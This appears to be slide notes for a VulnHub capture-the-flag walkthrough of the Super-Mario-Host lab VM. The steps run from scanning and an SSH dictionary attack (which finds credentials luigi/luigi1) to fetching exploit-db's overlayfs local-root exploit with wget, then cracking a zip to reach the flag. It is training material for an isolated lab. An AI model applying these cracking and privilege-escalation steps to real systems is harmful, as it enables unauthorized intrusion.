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• To provide materials that allows anyone to gain practical 'hands-on' 

experience in digital security, computer software & network 

administration
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• Target VM: Super-Mario-Host

• Download ova file 
https://download.vulnhub.com/supermariohost/Super-Mario-Host-v1.0.1.ova.torrent

• Import  the ova file into your favorite hypervisor

• Attach a DHCP enable vmnet to the machine and run it

• Objective

Find the hidden flag.
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◎Testing environment

Linux Kali (attacker) >>> Firewall >>>  Super-Mario-Host (target 

vm)
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◎From the attacker machine run the following command to find out 

Target VMs IP address:

◎Scan the target machine IP (192.168.102.129)

• Two ports are open: Port 22 – Used for SSH; Port 8180 – Used to serve a web 

application
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◎Explore target machine’s port 8180 in a browser

◎Nginx web server
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◎Use dirb tool to scan the web application
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◎Explore vhost in URL  192.168.102.129:8180/vhosts in a browser
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◎Add mario.supermariohost.local into /etc/hosts

◎ Explore mario.supermariohost.local in a browser

Not much information from port 8180, move towards port 22.
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◎ Use a dictionary attack to find out ssh credentials.

Use famous Mario characters in the wordlist: mario, luigi, peach, toad, yoshi.

◎ Use john the ripper to generate a password dictionary

◎ Use medusa for password cracking with username dictionary from Mario file, and 

password dictionary Password.

▲ Credentials found

Username: luigi

Password: luigi1
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◎ Connect via SSH to the server and find the linux version 

◎ Can obtain root with with the following exploit 3.13.0 overlayfs

local root in Ubuntu; exploit-db website
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◎Download the exploit, compile and run it 

▲ wget https://www.exploit-db.com/download/37292

▲ Compile

▲ Run it and get root privilege

https://www.exploit-db.com/download/37292
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◎ Obtain the first flag, crack the password (using fcrackzip) and unzip it ;

Found the hidden flag. Objective completed.
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• Vulnhub website
https://www.vulnhub.com

• Vulnerable VM download 
https://download.vulnhub.com/supermariohost/Super-Mario-Host-v1.0.1.ova.torrent

• Exploit DB
https://www.exploit-db.com/

https://download.vulnhub.com/supermariohost/Super-Mario-Host-v1.0.1.ova.torrent

